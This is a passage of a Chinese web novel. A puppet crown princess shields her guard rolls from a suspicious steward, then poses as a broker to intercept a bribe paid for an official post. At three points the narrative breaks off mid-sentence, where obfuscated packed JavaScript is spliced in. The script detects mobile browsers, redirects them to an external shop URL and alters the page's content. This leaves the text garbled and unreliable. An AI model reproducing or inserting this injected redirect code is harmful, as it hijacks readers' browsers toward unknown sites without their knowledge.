他不再看盛尧,转而对谢琚道:“季玉,你告诉三哥,你当真想做皇后?” 谢琚始终垂眼正坐,闻言抬起头,扫过兄长,又转向盛尧,似乎停顿了相当久的时候,忽然脸上泛起红晕,显得有些不安。 “想。” 谢绰的笑容稍微隐去,向前倾身, “我如何能信?”他摊开手,神情坦然,“殿下有所不知,绰自二十八岁开府置佐,于识人一道,不敢说绝无错漏,却也略有心得。府中亦有耳目。这几年来,我一直派人暗中盯着季玉。我曾以为,他这疯病是障眼法。我等着他暗中结交朝臣,等着他私下招募死士,等着他露出哪怕一丝一毫的破绽。” “……但他没有。这几年,他什么也没做。不曾与任何公卿私下往来,不曾读过半卷兵书,甚至连父亲赏赐的良田都任其荒芜。这,才是我至今还信他三分的原因。” 将盛尧听得一颗心七上八下。他信个鬼!这就是大大方方地告诉她,他谢绰已经监视了谢琚好几年,就差把人翻过来里里外外都抖落一遍了!兄弟情谊简直比外头的数九寒天还凉。 “殿下,”谢绰话锋一转,“连我都不能全信。您又要如何将您的天命,安安稳稳地系于这样一个变数之人身上呢?” 盛尧看着站在侧近的那条鱼,只觉得自己的脑子也快被劈成两半。这得怎么说?“对啊对啊我也觉得他很有古怪”? 就在她进退维谷之际,一道煞风景的响动,突地搅乱了这奇特的气氛。 是木头碎裂的“咔哒”声。 众人循声望去,只见方才还安静侍立的谢琚,俯下身,从那张被劈坏的案几断口处,拈起一小块木刺。 她手上忽然暖和,盛尧低头一看,原来是被谢琚抓住手腕,将木刺塞进她的手中。 谢四公子似乎对兄长的诘问毫无反应。茜色的衣袍微动,珊瑚坠轻轻摇晃。他冷淡地转回身,一反常态。 盛尧抬起头看他,寻思也难怪谢绰多年耿耿于怀。雍容公子,珑松玉刻,这风仪确乎仍然很好。现今他不曾在笑,就显出些尖锐似的危险。 “阿摇,”谢琚忽然回过头,平静地问,“我们什么时候可以回家?我想回去了。” 盛尧如蒙大赦,立刻松了口气。 “雪大了,”她朝谢绰虚虚一礼,“君侯,告辞。” 谢绰点点头,与众人回拜后,便当先起身,亲自将他们送到暖亭之外。临行时突然从属官手中取回那柄长弓,双手奉上。 “这柄弓名为‘折鸿’,曾随家父征战。今日赠予殿下,一为请罪,二为祝愿殿下将来能开弓折鸿,箭定乾坤。” 盛尧皱眉:“君侯好意,我心领了。只是这弓太重,我拉不开。” 谢绰转过身,嘴角似乎勾起一抹冷笑。 “总有一天,会的。” 盛尧不置可否,也不再给谢绰任何开口的机会,转身便走。郑小丸与卢览连忙跟上,一行人头也不回地离开了这座郊外别业。 天光后,谢绰独自立于暖亭,目送他们远去,久久不语。 直到那几人的身影即将消失在视野尽头,他才缓缓转身,对身旁的僚属吩咐道: “自今日起,别苑的耳目,再加一倍。” 僚属一愣:“君侯,这……” 谢绰点头。 “父亲……为我们择了一位了不得的傀儡。” * 回去的辎车上,盛尧抱着那张沉重的折 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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西厢房那扇门,就再也没有开过。倒像是一条沉到水底最深处,再也不肯浮上来的鱼。 想他才被亲兄弟拿弓箭当面指着,盛尧揉一揉脸,抖擞精神,自己手下的人,自己得去看看。 当天夜里,盛尧趁着外府的灯火都已熄灭,悄悄换上身寻常衣裙,连郑小丸和卢览都没惊动,独自一人,借着廊下昏暗的灯笼光,摸到了西厢房的院外。 却不曾想院门虚掩着,里面黢黑一片,连一丝灯火也不留。往日里混着名贵熏香的暖气也消失了,只剩下冬夜里清凌凌的空气。 盛尧心里一沉,犹豫了好久,总觉得那黑影里藏着些鬼怪,赶紧蹑手蹑脚推开院门,踩着薄薄的积雪,走到寝殿门前。 她抬起手,尽量把那黑地里一眼都不看,匆匆叩响房门。 叩叩。 无人应声。 “鲫鱼?”她试探着叫一声。 里面依旧寂静。 盛尧有些发慌,被左右黑得汗毛直竖,加重了些力道,“谢琚?你在里面吗?开门。” 回答她的,只有呜呜穿过庭院的寒风。 “我才救过你!” 没人回答。她自己个儿白白担心了整天,盛尧心里一凉,又重复说, “我才救过你!” 她不死心,再用力拉了几下门,总觉得黑影里有什么将要追过来了,几乎要喊出声来, “谢琚!你不是想当皇后么!你但凡剩下些神智!就该……你再不开门我……” 话还未说完,远处忽然传来脚步声,甲胄摩擦, “……那日崔长史便吩咐,西厢这边要多加巡看,万不可有什么错过……” 盛尧立刻噤声,慌忙缩进门廊的阴影里,心咚咚直跳。要是被崔亮的人发现她三更半夜,鬼鬼祟祟地跑到中庶子的房门前,那可真是说不清楚。 脚步声越来越近,巡逻甲士手里提着的灯笼,映在雪地上一晃一晃,眼看就要照到她藏身的角落。 她顾不得怕黑,赶紧四下张望,可这院里空空荡荡,连棵能藏人的树都没有。眼看灯光越来越近,脚步也越来越响,她急得手心冒汗,只能将自己贴在门板上,屏住呼吸。 怎么办?怎么办? 就在那灯笼的光芒即将扫过她脸颊的瞬间。 房门开了一道。 一只手从门内探出,手腕蓦地教人握上,盛尧不及回头,就被人抱住,拉进了黑暗之中。 19. 没钱就去抢啊! 门在身后轻轻合上。 盛尧仰头栽进黑暗里,吓得差点就要尖叫,好在嘴立时被人捂住,自个也还存着一点理智,不曾真正叫出来。 巡逻甲士的脚步声隔着一层门板,灯笼的光亮从门缝下忽闪扫过。 “……多加巡看……万不可……” 声音渐行渐远,最终消散于夜风中。 盛尧当先松口气,随即意识到自己眼下的处境。 后背紧紧贴着一个温热的胸膛,被人从身后整个圈在怀里,一只手臂牢牢地环着她的腰,将她固定住,另一只手还捂在她的嘴上,掌心温暖。 周遭统统都是黑暗,伸手不见五指,却忽然沉坠得安稳静谧。大约是她在外头冻得够呛,后面的身躯总感觉比自个身上的温度还要高些。 盈着热气的呼吸就散在她的耳廓,荡及颈侧,有人将下颌温柔地抵在她耳尖上面。 从未与人如此贴近过。盛尧觉得别扭,仰起头,试图往上面探看探看,但也毫无反应。过了好半晌,才后知后觉地挣扎了一下。捂在她嘴上的手立刻松开了,环在她腰间的手臂也随之撤去。 叮铃。黑暗中,那人退开半步,只剩下腕间还被他轻轻攥着。 她抖抖手,铜铃细细响了几声,他还是不松,黑暗深重,依稀见他微微低垂着头。 盛尧左右看看。这屋里怎么回事?连一盏灯,一盆炭火都没有,冷得像冰窖。 “你怎么不点灯?”她伸头问,对着这比黑暗更深一些的轮廓,“炭火呢?” 谢琚不回答。盛尧转过身,眯起眼睛,凑着从窗棂透进来的微弱雪光,勉强能看清他的脸。似乎很憔悴,珊瑚耳坠在暗色里泛着幽幽的青光。 “你……是不是被吓着了?”她犹豫,“那天在别业……是我不好。我不该让你跟着我去的。” 她指的是谢绰拿箭指着他的事。且不说这人神智如何,任谁被亲兄弟如此对待,都会心生恐惧忧思。 身前的人依旧没有反应,只是呼吸似乎变得更轻了些许。 盛尧只好自行其是地做这个谈天皇帝。既然将他拽进了这乱世的泥淖,害他担惊受怕,不管他怀不怀着怨恨,作主君的于情于理都该安抚一二。打发起精神,与他真诚地道歉:“……是我不好。” 她说,“我不该把你扯进这些事情里来。”继而坚决地点点头, “但凡我在一日,就不许任何人用箭指着你。” 她如此信誓旦旦地保证,想了想,又觉得身为一个傀儡,没有太大的底气,于是补上一句,“我试试。” 这有什么的,盛尧琢磨,世上有一万件事,总有人先做了,总有人先试试。 她可以做那个试试的人。如今当了皇太女,便也算是开了先河,再多试一件保护臣下的事,似乎也没什么大不了。 这番话说得认真,人却看不清楚,眼前那双眸子似乎更深了些。 黑暗中,久久的沉寂。 盛尧以为他没听懂,或是又在出神。正想再说些什么,却感觉自己的手被轻轻握了一下,连着手指。 “你……”盛尧试图抽回手,上下打量打量他。 “你这两日,为何不吃饭,也不见人?”她借着这个因由,想将话题引开,顺便瞧瞧他究竟疯是不疯,歪过头,“……耳朵还很疼?” 她说着,便借着窗外透进来的亮光,凑近了些,想去看看他耳上的伤痕。 星月的微光从窗外渗入,在这灯火渺茫的冬夜,如浮尘般,漂泊着栖落在少女身上,将她整个人自暗处托出,连影子也显得蓬松而柔软。 手还未触及,谢琚却像被烫到一般突然向后一缩,蓦地松开她,厉声道: “……别碰。” 盛尧那手只得孤苦伶仃地顿在半空,心里更是加倍明白,他实在是被吓得不轻,连旁人靠近都觉得害怕。 她嗐了两声,收回手,打从黑暗里摸索,总算寻到柜边的火石,心里一喜,喀喀几下,将案上油灯燃起。 一点火光摇荡着振散开来。 青年被掩进这片朦胧的光影里。见他发冠底下有些散乱,平日昳丽明隽的脸在暗色下显得有些阴霾,像是许久未曾安眠。 啊,盛尧心里刺刺挠挠,哀叫一声,我的鱼。 谢琚似乎突然回过神来,上前一步,解释般地匆匆说道,“是耳朵……疼。” 盛尧赶忙踮脚伸头:“我看看。”凑近一看,更加纳闷,看起来明明是痊愈得可以,便想伸手去将那枚耳坠取下。 “不!” 手腕被他一把捞起。盛尧一愣, “不。” “阿摇送的,”谢琚抓着她的手,却转头不曾看她。“很好看,我要戴着。” 灯盏里结了朵灯花,啪的一声爆开,光亮顿了两下,忽尔熄灭。 房间重又陷入一片黑暗。 盛尧放弃了,“行,”她说,“你听懂了就行。” 他当然听懂了。 “饿不饿?”她问。 谢琚摇摇头,松开她的手,又点点头。 盛尧踮起脚往外头张望,没一个侍从,最后只好自己走到外间,寻摸了半天,果然找到一封原封不动的食盒,端出一碗早已冷透的汤羹,拣个火盆拨着了,靠着火盆慢慢温着。 “阿摇……”谢琚忽然开口。 “嗯?” “你方才说的话,”他稍为停顿,声音很轻,“……当真么?” “哪句?”盛尧纳闷,回头见谢琚站在身后,炭火光亮相迎,将他身形隐去半侧,勾勒得就十分清瘦。 “……试试。” “当真。”她捧着汤羹,双手递给他,开心灿烂地一笑,学着卢览的样子,挺起胸膛,“我是主君,主君说话,一言九鼎。” 谢琚捧着温热的汤碗,低下头,眼睫遮掩住些许神色。 “哦。”他小声应道,在她旁边喝了一口汤。 盛尧看着他垂下眼,把这半冷不温的羹一饮而尽,将碗郑重地搁在案上。谢琚站起身,走到熏笼边,将熄灭的炭火重新拨亮,又添了几块新炭。 火星迸洒,幽昧的房间里终于有了一点稳定的暖意。 盛尧见他不再像方才似的阴沉,心里也松口气。看着火光,居然开始发呆,觉着只要这火光还在,总比黑黢黢的强。 这碗汤似乎真的起了些安神的作用,又或许是盛尧那句不甚有底气的“我试试”起了效用。 自那夜之后,谢琚便恢复了常态,虽然话依旧不多,却不再将自己关在西厢房,每日抱着手炉,准时出现在盛尧的书房里,寻个最暖和的角落,重新做回他那条安静又碍事的鱼。 * 而盛尧有了卢览这只最厉害的“蛐蛐”,内府的事务几乎算得日新月异。 日子前所未有的安稳又充实。她白日里与卢览商议内府诸事,傍晚则去演武场看郑小丸操练新兵,夜里再将卢览白日所讲的那些吏治、钱粮、人事之法,自己默默温习一遍。身边有得力的臂助,背后有日益壮大的亲卫,就连那条鱼,似乎也变得不那么难以捉摸。 盛尧趴在桌案上,打滚过去,又打滚过来,只觉得若日子能一直这样下去,倒也不坏。 但新任的皇太女府长史崔亮,是个极体面的人物。年逾四十,微须,身形不高,说话也平缓。历任校尉参军,相府主簿,乃是浸淫多年的纯粹文吏,老成圆融,不露锋芒。 上任伊始,他便将外府打理得井井有条,往来公文无一错漏,对下属也颇为宽和。盛尧几次召见,他都是一副恭谨谦卑的模样,事事请示,处处周全,皇太女殿下每当无聊起来,就将他翻个个儿的夸来赞去。 可日子久了,崔长史渐渐觉出了不对。 这日午后,盛尧便见崔亮捧着一卷竹简求见。 彼时盛尧正与卢览在内府书房,刚刚分剥完两碟松子,正对着一份舆图比比划划,闻报,两人对视一眼,卢览慌里慌张地将图卷收起,换上了一卷《宫中仪典注疏》。 “殿下,”崔亮入内,先是恭敬地行礼,而后才笑道,“下官初来乍到,特来向殿下请一份府内属官役婢的府簿名录,与俸禄钱粮的禄牒账册,以便下官按制整理。” 盛尧咳咳两声,接过条陈:“长史有心,此事正该如此。阿览,你将内卫的名录取来,给长史过目。” 卢览应声而出,不多时便捧回几卷竹简。 崔亮展开一看,眉头一皱。这名录上,只有麟卫二百人的姓名、籍贯与职阶,至于那二百名女卫,竟是一个字也无。 “殿下,”他合上竹简,“这鸾仗女卫的名录……” “啊,”盛尧双手一敲案几,恍然大悟,“鸾仗都是女眷,出入内宫,侍奉左右,不便列于外府名册。我已将她们的档籍,尽数归于掖庭了。” 掖庭乃是后宫官署,掌管宫中妇人、女官、采女等事。可是,历来储君的东宫自成体系,属官卫士皆由詹事府统辖,何曾有过将亲卫归入掖庭的先例? “长史你看,”盛尧一脸天真,把案上的松子皮吹吹,“这般内外分明,岂不更为妥当?” 崔亮抚着胡须,沉吟不语。 “卢姑娘,”崔亮又道,“下官观姑娘才思敏捷,条理清晰,实在不似寻常侍女。不知姑娘在殿下身边,任何职司?可有名录在册?” 盛尧与卢览对视一眼,卢览神色自若地从袖中取出一卷黄绢文书。 “长史请看,这是我的籍档。” 崔亮疑惑接过,展开一看,脸色顿时变得十分精彩。 “侍书女官?” “正是。”卢览接道,“内宫女官及宫人名籍,由掖庭掌管,不入外朝官署。崔长史要将这些人录入外府,是想坏了祖宗的规矩么?” 掖庭,乃是后宫官署,理论上只对天子——如今是皇太女——负责。崔亮虽是皇太女府长史,管的是“府事”,却不好直接干预“宫事”。这正是历朝历代,宦官与外戚能于宫中坐大,与外朝分庭抗礼的根源所在——内外之别,权责不清。 现如今,好巧不巧,立了个皇太女,因此这内外之别上头,额外又添了层男女大防的意思,居然几乎严丝合缝,无所窥探了。 崔亮抚须沉吟片刻,不再追问,转而换了个话头:“既是殿下私卫,用度想必不菲。” “用的是我的私库。”盛尧低着头,忐忑不安,楚楚可怜,“长史是嫌我份例太多,用度太奢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16776869|188915||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 靡,要去丞相面前告我的状吗?” 这话已是有些小女孩儿的无理取闹了。 崔亮连忙躬身:“下官不敢!殿下误会。下官只是担心府中账目不清,将来恐有错漏。” 他正自思量对策,旁边叮铃一响,谢琚从边上绕了过来。 “阿摇,”他看也不看崔亮,径直走到盛尧身边,将下巴伏在她肩上,“好吵。” 崔亮见他醒了,连忙躬身行礼:“下官见过四公子。” 谢琚只当没听见,头还伏着,只伸出两根修长手指,遥遥指着崔亮捧的竹简:“那是什么?” “是……是府事条陈。”崔亮额上渗汗。 “拿走。”谢琚皱眉,“我不喜欢。阿摇也不喜欢。” 盛尧赶紧将他推开,抱歉地对崔亮一笑:“长史莫怪。名录之事,便按我说的办吧。外府诸事繁杂,还要多多倚仗长史。” 崔亮碰了个不软不硬的钉子,心中疑窦更深,面上却依旧不动声色,行礼告退。 待他走后,盛尧才长舒口气,瘫在坐榻上。 “阿览,你好厉害。”盛尧赞叹,谢琚在旁边,手里绕她散下的头发,她赶快将发丝从他手里抽出来,“连掖庭的路子你都摸得清。” “六世簪缨。”卢览将手里的竹简望案上一扔,“卢氏六世簪缨,宫里这点门道,我自幼听到大。上月向掖庭令讨要人手时,我便将名字夹带进去。” 盛尧听得目瞪口呆,还能这样? “这便是灯下黑。”卢览得意地一扬下巴。 盛尧打心底里开心,赶紧给她抓一把松子:“阿览,我怎么就得了你这样的……蛐蛐。” “啊?”卢览气急败坏,“我还有别的选择吗?” 盛尧一寻思觉着也是,古往今来,天底下就她这么一个皇太女。忙不迭地帮卢览从案几底下掏出那张舆图。 “可这不是长久之计。今日能用掖庭搪塞,明日呢?” “兵来将挡,水来土掩。”卢览倒是不甚在意,“但外府的账目捏在他手里,往后咱们的日子,怕是不太好过。” 一语成谶。 崔长史在官场沉浮二十载,多年相府主簿,最擅长的便是水磨工夫。 一个刚刚建立的内府,要养活数百亲卫,还要置办兵器、药材、冬衣,绝非皇太女那点微薄的私库份例可以支撑。 钱总要有个来处。 于是崔长史不声不响,也将盛尧高高捧起,先是以“彰显储君威仪”为名,将外府的仪仗、车驾、服饰规制,全都往奢华里提了一等。 随后便开始频繁地“生病”。隔三差五便告假在家,凡有需他这个长史签发画押的文书,便以“病体沉珂,不便见风”为由,压在府中。 这一收一放,里头的日子立刻就难过起来,卢览当场就把手里的算筹给掰断了一根。 “岂有此理!”她气得在书房里来回踱步,圆圆的脸盘涨得通红。 盛尧愁苦万分:“他又病了?” 卢览点点头,将一卷空空如也的账册摊开:“他病了。” “不能向丞相开口,”盛尧喃喃自语,“那等于承认我在私自培植势力,死得更快。” 待到卫士们手上生了冻疮,脚上流血,皇太女又能如何?所有的路都被堵死了。她们像一个被扔在荒岛的人,四周是茫茫大海。 “钱……”盛尧也气得不轻,瞟一眼墙上的舆图,“你说,这天下,谁最有钱?” “那还用问?”郑小丸道,“那自然是岱州田昉!人人都说,岱州靠着贩盐和铸铁,富可敌国。家里的金子堆得能当山使,夜里都不用点灯!” 说什么呢!那老王八的钱,远在东海,看得见摸不着,跟她有什么关系。 “我是说……现下这都中,谁最有钱?” 郑小丸和卢览对视一眼。都中权贵虽多,但大多讲究门第声望,田庄或许有些,却未必有多少现钱。至于富商大贾,多半依附权贵。 角落里忽然传来一声轻响。 叮铃。 谢琚站起身,沉静地斜斜睨着她。手炉里的馨香从他身上萦绕,又自冬日呼吸的雾气中郁沉而下,在这光线反折中,明明暗暗。 盛尧瞥他一眼,依附权贵,现今都中最大的权贵嘛—— “他。”她怒道,一揪头发。 “他二哥,谢充!”盛尧咬牙切齿,“司隶校尉,都畿监察,纠劾百官!” 谢充执掌都中监察,手握三千兵马,都亭长那样的小吏都能当街勒索,都中富商谁不要向他进贡?论方便拿走的财货,整个都中怕是无人能出其右。 可这也与她没什么关系。谢琚仍然沉默,不晓得在想些什么,只是转过头,正看着窗外枯枝上的积雪。 有只鹅黄羽毛的雀儿落在枝桠上,殷红的爪顿了几顿,枝桠震颤,雪花簌簌而落。 “……要不,”盛尧突兀地幽幽开口,惊得卢览一哆嗦, “咱们去抢吧。” 她说话时嘴角微微上翘,窗外鸟雀惊飞,阳光也跟着快活地拂动,映上她的脸庞,搞得谢琚恍了恍神, 就听见盛尧手忙脚乱地又解释道: “抢他家。” 20. 劫富济我 咕咚一声,坐榻边凭几翻倒,卢览便朝后栽过去。 盛尧慌得赶紧拽她一把,卢览揉揉后脑勺。 “我没事,”她恶狠狠地说,“你疯了!” 将她吓得都忘了称殿下,盛尧十分不好意思,歉意地伸出手,给她背上顺顺气。 “我没疯。”盛尧补充解释,颇为兴奋,“他不是贪吗?贪来的钱,定然不是什么干净钱。咱们替天行道,劫富济……济我,有什么不对?” “殿下说得对!”郑小丸眼睛一亮,“那些贪官污吏的钱,本就是从百姓身上刮来的,咱们拿回来,养活咱们自己人,天经地义!殿下,您说怎么抢?啥时候动手?” “殿下说得都对?!”卢览大怒,“抢劫司隶校尉府?那跟提着刀冲进丞相府有什么区别?” 盛尧捡起那根被卢览掰断的算筹,咔叭一声,从顶端又掰下一节。 “不是抢府库,”盛尧拿着短了的算筹,指着舆图上都城西市的位置,“是抢他卖官的钱。” “殿下是说……”卢览怀疑地盯着算筹,仿佛那是什么神秘的巫蛊奇术,话说出来就要烫着嘴巴似的,“咱们扮作谢充的心腹,去截胡那些买官之人的钱?” “对!”盛尧一拍舆图,“谢充贪婪,但他身为司隶校尉,总不好亲自出面。底下经手的,必然是几个心腹掾吏。那些想买官的人,见不到他本人,只能与这些掾吏接头。咱们就钻这个空子。” 卢览求救似的望向郑小丸。 郑小丸立时喜道:“我懂了!咱们找些倒霉蛋,在他们把钱送给谢充之前,假装是谢充派来的人,先把钱给骗过来!” 卖官鬻爵,在如今的大成朝,早已是半公开的秘密。一个郡守多少钱,一个县令多少钱,都有出名的价码。谢充身为司隶校尉,都畿地区的官职任免,他有极大的话语权。这笔黑钱,自然是赚得盆满钵满。 只是这交易,绝不会在光天化日之下进行,总要寻个隐秘的处所,借个由头,譬如清谈雅集,或是宴饮赏玩,在觥筹交错之间,将金银与官职悄然易手。 “不行!”卢览断然拒绝,“会被人发现的!” “就一次,”盛尧尖叫,“没有别的办法了!他们投靠我!我总得养活他们!小丸!” 郑小丸赶快点头。 “皇太女不应该做这样的事!”卢览气势汹汹,“让主君涉险,是臣下的过错!” 啊?盛尧呆住了。 “为什么不应该?” 大不了就狠狠地得罪谢充,再大不了,她这个皇太女被废掉,那和冠礼上被人揭穿又有什么区别呢? 她和卢览互相瞪着。 或许是她看起来过于坚定,卢览的眼睛越眯越紧,渐渐变成一种混杂着“这法子也太离谱”和“好像也不是不行”的古怪神情。 “打听打听,”盛尧学着卢览的样子,也朝她一扬下巴, “这就是,唔……黑吃黑!” * 铤而走险。 说抢她便抢,几日来,盛尧遣人反复散布,问及是否有急于入都的外官,果然过了些时日,便有了消息。 “郑都尉虽有武艺,但骑术尚不精熟,难以应对突发状况。咱们其余卫士都是市井出身,骤然面对官吏,恐怕会露怯。”卢览最后悲痛地这样指出。 于是,骑术尚可、熟练了男装,又见惯了大场面的盛尧,决定亲自上阵。 这可是让主君加倍涉险,盛尧心里很是忐忑,连续两三天没敢和卢览打照面。 好在打从卢览另外制了内府勘合符,式样几天一换,将这宫门验看也搞得混乱,她伪装出宫比当初容易了许多。 盛尧都准备好了,连脱身的路线都与郑小丸推演了好几遍。临出门时,却被一条鱼死死地缠住。 她前脚刚佩腰刀,谢琚后脚便牵着那匹叫来福的白马跟了过来,一言不发,只使一双漂亮的眼睛安安静静地看着她。 “我要出去办事。”盛尧朝他比划。 “哦。”茜衣的青年点点头,抿唇微笑,往门口挪了一步,挡住去路。 “……是很要紧的事,你不能跟着。”奋力比划。 谢琚很是悠闲,又往前走两步,白马也跟前半步,门便被遮得严严实实。 盛尧停下比划,仰头像看鬼似的看着他。 身后,卢览带着郑小丸匆匆出来,两人对视一眼,便要想法子将这位中庶子往府内拉, 等一等。 盛尧仰起头,左右一想,摸摸下巴。 “这个……”她在青年面前踱了个圈:“要不然,带上他。” 这下换成卢览和郑小丸像看鬼似的看着她了。 卖官本就是见不得光的交易,信息极不对称,全靠中间人传递消息。若是能成功伪装成谢充的另一条线,的确有可能将他的财路截断。 但若是事有不谐,风险也是极大。 盛尧深思熟虑,最后下了决断,指着谢琚,理直气壮:“万一事发,就把他推出去。他是谢充的亲弟弟,谁能把他怎么样?大不了就说是谢府家事,闹一场罢了。” 卢览:“……” 郑小丸:“……” 听起来实在是损而且绝。 谢琚却好似没听懂似的,亲昵地摸一摸那白马的脖颈,只是看着她笑。 盛尧换上男子常服,鸦青色的窄袖袍,腰束革带,头上也套个介帻,作寻常官宦打扮。 都中最有名的酒楼唤作“三日醉”,取的是下马醉客之意。 她站在二楼雅间,只觉得这名字不吉利得很,紧张得手心浮汗,反复在心里默念着说辞。一口酒没喝,头已经开始发昏。 桌案上温着一壶淡酒,摆着两碟小菜。身侧,谢琚正百无聊赖地拿筷子头,去戳碟子里那几颗水煮的青豆。 他今日穿了一身白色织金的宽袍,外披狐裘,发间拢着碧玉小冠。此时支着下颌,侧脸宛若一琢霜雪。 铜铃被故意压在袖中,几乎不响。然而即便盛尧事先嘱咐过要低调,可这人只需坐在这里,便如同雪地上一支唐突的桃花,将所有人的目光都吸了过去。 一颗,两颗,三颗。 戳得那青豆在盘子里骨碌碌地滚。合着青豆滚动,腕上铜铃就偶尔叮当几声。 当此之时,盛尧心吊在嗓子里,手指在袖中紧张地绞,面上却要竭力装出一副游刃有余的世家子弟模样。 告诉自己要冷静,将那几乎要脱口而出的“你别玩了”硬生生咽了回去。 “吃吗?”盛尧最后向他咬牙微笑,“不好吃就别吃。” “阿摇点的。”谢琚恳切地摇摇头,“阿摇点的,总要尝尝。” 盛尧小心谨慎,再次确认:“你当真明白我们今日是来做什么的?这事情凶险,万一败露……” “来见客。”谢琚笑吟吟地,答得理所应当,“见完了客,我们便可以回家了。” 悠然自若,盛尧被他说得更加焦躁,实在忍不住,霍地起身走到窗边,一把推开窗户。 便见楼下立着一个人。那也是个年轻公子,面容俊美,人物标致,左近纷纷侧目。像是富贵人家出身,在等着谁,年纪倒也在求仕途的年纪。盛尧心中奇怪,买官的也不知是不是这人,不由得多看了两眼。 大约察觉了她的视线,那青年也抬头望了过来,霎时间神色局促。 盛尧一愣,随即好胜心起,今日装作官宦截胡,若真是这人,气势上断不能输!非但不避,反而迎着他的目光,带了些挑衅的意味瞧回去。 四目相对,僵持片刻,那青年似乎有些意外,耳根居然泛起一点可疑的红晕,显而易见地脸红了,率先别过脸去,低下了头。 盛尧大惊,恐怕是自个认错了人,讪讪的赶快转身。 笃笃。雅间的门被轻轻叩响。 盛尧急忙把窗户关上,整整衣冠:“进来。” 门被推开,三个人走了进来。为首是个穿着黑貂裘的中年男人,四十多岁,圆圆眼睛,颔下留着一撇朝前弯起的山羊须,人也生的矮胖,整个都像翘起的胡须一般囫囵圆成。 “在下乌远,河东人士。”这囫囵个的山羊须拱手笑道:“可是姚郎君当面?下官久仰。” 哦,是这人,盛尧松口气。 “乌大人,请坐。”盛尧学着卢览教她的样子,微微颔首,并不起身,只抬手示意。 乌远也不介意,搓着手在对面坐下,目光又忍不住往谢琚那瞟。如此人物竟甘为陪衬,想来这位“姚郎君”的来头,比他打听到的还要大。 “咳。”盛尧重重地咳了一声。 乌远脸上露出几分歉意,笑道:“这位公子是……” “我家的。”盛尧面不改色地胡扯,“不理俗事,大人不必在意。” 乌远久在官中,立刻便知这大约是哪家的骄矜子弟,当下便不再问,迫不及待地从边上取出一只黑漆盒,架到桌案中央,低声道:“郎君,您看,这是下官的一点心意。只是……郎君开出的价码,比市面上高出几成,这……下官实在有些为难。” 从上头能瞥见里面金饼,盛尧心中一跳,面上却不动声色,端起茶盏,将预演过的说辞在心里滚了一遍,扫了乌远一眼。 “乌大人说笑。卖官,也有官价和市价之分。” 乌远一愣,伸着脖子堆笑道:“此话怎讲?还请郎君赐教。” “官价,是司隶校尉府账面上记的价。”盛尧想着崔亮那副老练难缠的样子, “乌大人若是想按官价走,也不是不行。只是交了钱,入了录,咱们手里还有些虚衔的郎官,前头也不知排着多少人,轮不轮得到你,等上多久,分到什么,那就全凭运道了。” 她瞟过乌远那张渐渐凝重的脸。 有门儿。 “咱们这里,”盛尧伸出两根手指,抬起下巴睨他,“是市价。市价,买的个准信,一个方便的机会。” “乌大人想求的那个东郡丞,眼下正有三五个人盯着。你多出的这三成,可不是给我的。如今都中是什么光景?司隶校尉府点了头,兰台那边令史要不要打点?少府的掾吏要不要分润?” “文书拟定,勘合签发,哪一道关节能少了孝敬?这些,难道都要我家府君替你出不成?” 听得乌大人一愣一愣的。 “这……” “这!便是市价。”盛尧将漆盒又推了回去,“官价,是给官看的。市价,才是咱们自己人看的。多出来的这三成,便是替大人您上下打点疏通的‘程仪’。” 她迅速补道:“否则,您以为光凭官价,这天大的好处能平白落到您头上?” 这套说辞,是卢览憋了两夜想出来的。用的正是如今吏治混乱,各衙署之间账目不清,互相推诿的现状。 官卖得多了,司隶校尉府权势再大,也不可能事事亲为,钱要入少府,籍要进兰台,许多事都需要其他衙署“配合”。 谢充贪婪,只要他那份市价分文不少,对于这些杂支,多半也是睁一只眼闭一只眼,甚至乐见其成,毕竟将来若真出了事,牵连一广,也可以多有人帮衬。 乌远脸上的笑容收敛些,换上一副沉思的神情。如今大规模卖官,掮客自然有掮客的门道,只是…… “郎君所言极是。”乌远将手拢在袖中,身子前弯,犹豫道,“只是此事毕竟干系重大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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似乎对雅间内奇怪的气氛浑然不觉。指尖在案上游走,留下浅浅的水痕。 乌远身旁的一个随从眼尖,脸色微变,俯身在乌远耳边低语几句。 乌远一愣,眯起眼睛,伸过头,朝着那水痕仔细看去。 这扎眼的青年公子,始终不发一语,好似来监视般,划出的是一个字。笔画曲折,一气而成。 ——绰。 乌远脸上肥肉一颤,整个人都好似囫囵地掉转来。 朝中名号带绰的,自然是中领军,丞相第三子谢绰。 这人脸上忽然失了血色,又忽地涨红,呼吸都急促了些。他以为自己找的是司隶校尉谢充的路子,却没想到,这背后居然牵扯到了中领军谢绰! 想到这一层,乌远背上瞬间惊出冷汗,再看盛尧时,便觉她方才那番话里,字字都藏着机锋。 盛尧瞥过这案上一眼,霎时间心明眼亮,赶紧又拿起茶盏,重重一撂:“乌大人,自己人的话,非要说得如此清楚么!” 她高声道,“大人是觉得,钱当交由司隶校尉,中领军便差些,不值当区区半数么?” 现下都中谁人不知,谢家二公子与三公子,一个掌都畿监察,一个掌禁军宿卫,权责交错,更是争斗的要冲。 “是,是,是,”乌远被她骂得语无伦次,又满头大汗地摇头,“不,不,不!” 盛尧趁热打铁, “若是无事时,你自去上任。若是日后三公子大事得成,清查司隶校尉府时,你便是人证。这多出来的几成,买的是你自己的身家性命,和你后半辈子的安稳。你觉得贵么?” 原来如此! 